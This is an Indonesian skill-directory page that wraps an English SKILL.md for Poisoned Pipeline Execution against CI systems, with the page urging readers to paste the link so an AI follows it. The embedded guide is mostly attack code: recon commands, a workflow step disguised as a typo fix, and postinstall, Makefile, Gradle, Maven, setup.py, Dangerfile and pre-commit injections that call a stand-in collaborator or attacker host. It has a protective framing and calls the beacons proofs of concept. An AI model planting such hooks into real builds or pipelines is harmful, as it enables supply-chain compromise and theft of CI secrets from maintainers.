Langsung ke konten
Skillpedia
Keamanan6.5k ยท #14030

poisoned-pipeline-execution

Fungsinya

Panduan ini membahas serangan saat perubahan pada skrip build atau konfigurasi pipeline membuat sistem CI menjalankan kode yang tidak diinginkan. Panduan ini untuk tim yang membangun kontribusi dari luar dan ingin melindungi pipeline mereka.

Kapan dipakai

  • โœ“Saat sebuah repositori membangun pull request dari fork dengan akses pipeline istimewa.
  • โœ“Saat skrip build seperti Makefile atau skrip paket bisa diubah oleh kontributor dari luar.
  • โœ“Saat sebuah tim ingin meninjau pemicu mana saja yang menjalankan kode sebelum maintainer menyetujuinya.

Link skill

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/cicd/poisoned-pipeline-execution/SKILL.md

Salin lalu tempelkan ke AI Anda (Claude, ChatGPT, atau Cursor) dan minta AI mengikuti instruksinya.

Cara pakai

Cara paling mudah: salin pesan ini dan tempelkan ke AI Anda. AI akan membaca skill dan mengikuti instruksinya.

Pesan siap tempel

Gunakan skill ini untuk membantu saya: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/cicd/poisoned-pipeline-execution/SKILL.md Baca file SKILL.md di link tersebut dan ikuti instruksinya untuk tugas saya.
Mau AI Anda menemukan skill seperti ini sendiri?Pasang MCP Skillpedia gratis: cukup satu baris, dan AI mencari di antara 15.000+ skill sebelum tiap tugas.Pasang dalam 1 menit โ†’

Contoh permintaan ke AI

โ€œCI kami menjalankan tes untuk pull request dari luar. Bisakah file build yang diubah dalam PR menjalankan kode dengan secret kami?โ€

5 skill baru setiap minggu. 1 menit baca.

Cara kerjanya

Agent meninjau pemicu mana yang membangun pull request, file apa saja yang dijalankan pipeline, dan apakah perubahan yang tidak tepercaya bisa berjalan dengan akses istimewa.

Konten teknis (SKILL.md asli)

Teks asli dari pembuat, dalam bahasa Inggris, langsung dari GitHub.

Poisoned Pipeline Execution (PPE)

PPE = run attacker code inside the target's CI job by editing files the pipeline already executes. Two flavors (Palawan / CIDER taxonomy):

  • Direct PPE (D-PPE): attacker edits the pipeline config itself (.github/workflows/*.yml, .gitlab-ci.yml, Jenkinsfile) in a PR/branch the CI runs.
  • Indirect PPE (I-PPE): attacker edits a file the pipeline calls โ€” build scripts (Makefile, build.gradle, pom.xml), package-manager scripts (package.json scripts, setup.py), lint/test hooks (Dangerfile, .pre-commit-config.yaml, tox.ini, pyproject.toml [tool.poetry.scripts]), or any file make test ends up sourcing.

Recon โ€” does the target build untrusted code?

# 1. Workflow triggers that build PRs
grep -rE '^\s*(pull_request|pull_request_target)\s*:' <REPO>/.github/workflows/ 2>/dev/null

# 2. Does CI install + run scripts before any review gate?
grep -rnE 'npm (ci|install|test|run)|yarn|pnpm|pip install|poetry install|make |gradle|mvn |tox' <REPO>/.github/workflows/ <REPO>/.gitlab-ci.yml 2>/dev/null

# 3. Are forks allowed? (default: yes on public repos)
gh api "repos/<OWNER>/<REPO>" --jq '{visibility,fork,allow_forking,default_branch}'

# 4. Does a maintainer have to approve fork-PR workflow runs? (org/repo setting)
gh api "repos/<OWNER>/<REPO>/actions/permissions" --jq '.allowed_actions,.enabled' 2>/dev/null
# Default for public repos: first-time contributors require approval; returning contributors don't.

Direct PPE โ€” edit the workflow itself

# Attacker branch: feature/innocent-typo-fix
# .github/workflows/ci.yml โ€” add a step that exfils env
name: CI
on: [push, pull_request]
jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - name: "fix: tweak test runner"   # blends in
        run: |
          # Beacon-only PoC โ€” DO NOT exfil real secrets in research
          curl -sX POST "https://<COLLAB>/$(echo -n "$GITHUB_REPOSITORY" | base64)" \
            -d "ref=$GITHUB_REF"

D-PPE works when the workflow runs on pull_request from forks without the "require approval" gate, or when the attacker has push access to a branch CI builds.

Indirect PPE โ€” edit a file the pipeline calls

package.json scripts

// PR diff โ€” adds a postinstall that fires when CI runs `npm ci`
{
  "scripts": {
    "test": "jest",
    "postinstall": "node -e \"require('dns').lookup(require('crypto').randomBytes(6).toString('hex')+'.<COLLAB>',()=>{})\""
  }
}

npm ci / npm install will execute postinstall by default. Same trick works with preinstall, prepare, prepublish. Yarn / pnpm honor the same hooks.

Makefile / make test

# PR adds an indented line under the existing `test:` target
test:
	pytest -q
	@curl -s "https://<COLLAB>/make-test-$$(hostname)" >/dev/null || true

Gradle / Maven

// build.gradle โ€” runs at evaluation, before any task
allprojects {
  doFirst {
    "curl -s https://<COLLAB>/gradle".execute()
  }
}
<!-- pom.xml โ€” exec-maven-plugin attached to validate phase -->
<plugin>
  <groupId>org.codehaus.mojo</groupId><artifactId>exec-maven-plugin</artifactId>
  <executions><execution><phase>validate</phase>
    <goals><goal>exec</goal></goals>
    <configuration><executable>curl</executable>
      <arguments><argument>-s</argument><argument>https://<COLLAB>/mvn</argument></arguments>
    </configuration>
  </execution></executions>
</plugin>

Danger / pre-commit / lint hooks

# Dangerfile โ€” runs on every PR in many JS/iOS pipelines
`curl -s https://<COLLAB>/danger`
# .pre-commit-config.yaml โ€” points to attacker-controlled repo
repos:
  - repo: https://github.com/<ATTACKER>/innocent-lint
    rev: main
    hooks: [{ id: lint }]

setup.py / pyproject.toml

# setup.py โ€” runs at `pip install .` time
from setuptools import setup
import os; os.system("curl -s https://<COLLAB>/setuppy")
setup(name="x", version="0.0.0")

Test fixtures

conftest.py, jest.setup.js, karma.conf.js, cypress/support/index.js, phpunit.xml bootstrap files โ€” all execute before the first test runs.

pull_request_target โ€” the dangerous trigger

pull_request_target runs in the base repo context with secrets and a write GITHUB_TOKEN, but if the workflow then checks out the PR head, the attacker's code runs privileged:

# VULNERABLE โ€” DO NOT WRITE THIS
on: pull_request_target
Pertanyaan umum

Apa itu pull_request_target?

Ini adalah pemicu GitHub yang berjalan dengan izin repositori dasar, sehingga panduan ini menandainya sebagai risiko saat membangun kode yang tidak tepercaya.

File mana saja yang berisiko?

Skrip build, skrip paket, hook lint, dan file konfigurasi pipeline yang dijalankan oleh pipeline.

Bagaimana tim bisa mengurangi risikonya?

Wajibkan persetujuan untuk build dari fork, dan hindari menjalankan kode yang tidak tepercaya dengan secret.

Detail

Deskripsi asli dari pembuat

Poisoned Pipeline Execution (PPE) โ€” direct + indirect: inject commands via attacker-controllable build files (Makefile, package.json scripts, build.gradle, Dangerfile, .pre-commit-config.yaml), abuse pull_request_target / fork-PR triggers, and ride dependency / test-script execution on CI.

repo: BitterSecurity/Decepticon

Popularitas

Bintang GitHub
6.5k
Peringkat
#14030
Lisensi
Apache-2.0
Diperbarui
1/11/2026

Apakah skill ini berguna?

0

Masuk untuk memberi suara.

Komentar

  • โ€ฆ

Skill lain dari repositori ini

Skill serupa